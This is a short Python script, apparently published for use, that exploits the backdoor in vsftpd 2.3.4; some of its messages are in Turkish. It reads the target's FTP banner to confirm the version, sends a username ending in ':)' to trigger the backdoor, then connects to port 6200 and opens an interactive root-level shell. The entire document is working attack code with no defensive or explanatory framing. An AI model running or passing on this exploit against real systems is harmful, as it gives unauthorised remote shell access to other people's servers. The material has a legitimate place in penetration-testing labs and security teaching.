Python 3.7 Vsftpd Exploit

#!/usr/bin/python3
from pwn import log,remote
from sys import argv,exit
from time import sleep

if len(argv) < 2:
    exit(f'Kullanım: {argv[0]} Target_IP')


p = log.progress("Çalışıyor")
vsftpd = remote(argv[1], 21)

p.status('Checking Version')
recv = vsftpd.recvuntil(")",timeout=5)
version = (recv.decode()).split(" ")[2].replace(")","")
if version != '2.3.4':
	exit('2.3.4 Version bulunamadı')

vsftpd.sendline('USER hii:)')
vsftpd.sendline('PASS hello')
p.status('Backdoor Aktif')

sleep(3)

backdoor = remote(argv[1], 6200)
p.success("Shell Hazır !!!")
backdoor.interactive()